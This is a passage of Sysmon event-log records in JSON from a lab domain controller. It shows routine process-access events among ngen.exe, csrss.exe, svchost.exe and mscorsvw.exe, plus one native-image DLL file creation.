12:04:02.385","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-432B-5F2D-0000-00106D511000}","TargetProcessId":"2980","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8215,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:02.385\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-432B-5F2D-0000-00106D511000}\r\nTargetProcessId: 2980\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:02.385","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-432B-5F2D-0000-00106D511000}","TargetProcessId":"2980","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8216,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:02.401\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4332-5F2D-0000-001075AB1000}\r\nTargetProcessId: 2980\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:02.401","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4332-5F2D-0000-001075AB1000}","TargetProcessId":"2980","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8217,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:02.511\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-432D-5F2D-0000-00103E591000}\r\nTargetProcessId: 2864\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:02.511","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-432D-5F2D-0000-00103E591000}","TargetProcessId":"2864","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8218,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:02.511\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-432D-5F2D-0000-00103E591000}\r\nTargetProcessId: 2864\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:02.511","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-432D-5F2D-0000-00103E591000}","TargetProcessId":"2864","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8219,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:02.526\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4332-5F2D-0000-001033AF1000}\r\nTargetProcessId: 2864\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:02.526","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4332-5F2D-0000-001033AF1000}","TargetProcessId":"2864","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8220,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:03.026\r\nProcessGuid: {90617006-4332-5F2D-0000-001033AF1000}\r\nProcessId: 2864\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\b30-0\\XamlBuildTask.dll\r\nCreationUtcTime: 2020-08-07 12:04:03.026","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:03.026","ProcessGuid":"{90617006-4332-5F2D-0000-001033AF1000}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\b30-0\\XamlBuildTask.dll","CreationUtcTime":"2020-08-07 12:04:03.026","EventReceivedTime":"2020-08-07 12:04:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8221,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:03.073\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4306-5F2D-0000-00105B610F00}\r\nTargetProcessId: 4584\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:03.073","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4306-5F2D-0000-00105B610F00}","TargetProcessId":"4584","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8222,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:03.073\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4306-5F2D-0000-00105B610F00}\r\nTargetProcessId: 4584\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:03.073","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4306-5F2D-0000-00105B610F00}","TargetProcessId":"4584","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8223,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:03.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4333-5F2D-0000-001026B41000}\r\nTargetProcessId: 4584\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 